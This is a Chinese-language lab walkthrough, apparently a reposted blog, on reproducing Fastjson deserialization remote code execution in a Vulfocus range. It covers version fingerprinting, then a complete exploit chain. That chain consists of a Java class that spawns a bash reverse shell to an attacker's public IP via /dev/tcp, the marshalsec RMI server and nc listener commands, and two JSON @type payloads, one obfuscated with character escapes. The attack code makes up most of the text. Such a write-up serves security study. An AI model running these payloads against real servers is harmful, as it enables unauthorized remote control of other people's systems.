目录
Fastjson反序列化
简单来说:Fastjson是解析JSON格式的字符串的,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,进而执行类里的恶意代码。
Fastjson漏洞概况
1、Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
2、Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)
3、Fstjson < =1.2.60 远程代码执行漏洞(CNVD-2019-32498 )
4、Fastjson =1.2.66 Fastjson JtaTransactionConfig存在命令执行漏洞(CNVD-2020-22719)
5、Fastjson =1.2.68 命令执行漏洞(CNVD-2020-30827 )
6、Fastjson <=1.2.80 远程代码执行漏洞(CNVD-2022-40233)
漏洞复现
判断是否使用Fastjson以及Fastjson版本
一、最简单的方法是以POST方式提交一个“{”,查看报错信息。
以Vulfocus靶场为例
访问地址抓包–》发送到repeater–》右键Change request method–》输入"{"字符 --》Send。
二、假设无任何返回信息,配合dnslog网站进行验证…建议参考大佬文章。
链接1: 第18篇:fastjson反序列化漏洞区分版本号的方法总结
链接2:fastjson1.2.80 漏洞分析复现
三、上工具Fastjsonscan
下载地址https://gitcode.net/mirrors/a1phaboy/FastjsonScan。
Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
工具:一个VPS 、 java环境(1.8.0)、python3、marshalsec(下载地址:https://github.com/RandomRobbieBF/marshalsec-jar)
以下步骤均在VPS上操作。
1、创建一个Exploit.java文件,内含所需执行命令的语句。
importjava.lang.Runtime;importjava.lang.Process;publicclassExploit{static{try{Runtime rt =Runtime.getRuntime();String[] commands ={"bash","-i",">&","/dev/tcp/公网IP/9999","0>&1"};Process pc = rt.exec(commands);
pc.waitFor()}catch(Exception e){}}}
2、编译Exploit.java文件
javac Exploit.java
会生成一个Exploit.class文件,当前目录下
3、此时在当前目录利用python开启http服务
python3 -m http.server 8000
验证:访问ip:8000
4、利用marshalsec启动RMI服务,监听8888,当有外部有rmi请求8888时,使其加载8000端口上的Exploit.class文件
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#Exploit" 8888
5、nc开启监听
nc -lvnp 9999
此时VPS这三个端口在开放状态:
9999 nc监听
8888 RMI服务监听
8000 http服务
后续操作在自己电脑操作:
Brupsuit抓包–改提交方式POST–Content-Type:改为application/json --添加POC
POC
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP:8888/Exploit","autoCommit":true}}
成功反弹shell
Fastjson<=1.2.47远程代码执行漏洞(CNVD-2019-22238)
除POC不同,其余步骤均与Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )一致
POC
{"hrg786":{"@\u0074\x79\x70e":"Lcom.s\u0075n.\u0072\u006Fwse\x74\x2E\u004A\u0064\u0062c\u0052owS\u0065t\u0049mpl;","dataSourceName":"rmi://IP:8888/Exploit","autoCommit":true}}
成功获取flag
其余漏洞网上并未找到详细利用方式,暂时先搁置。
版权归原作者 Ghostdom丶Y 所有, 如有侵权,请联系我们删除。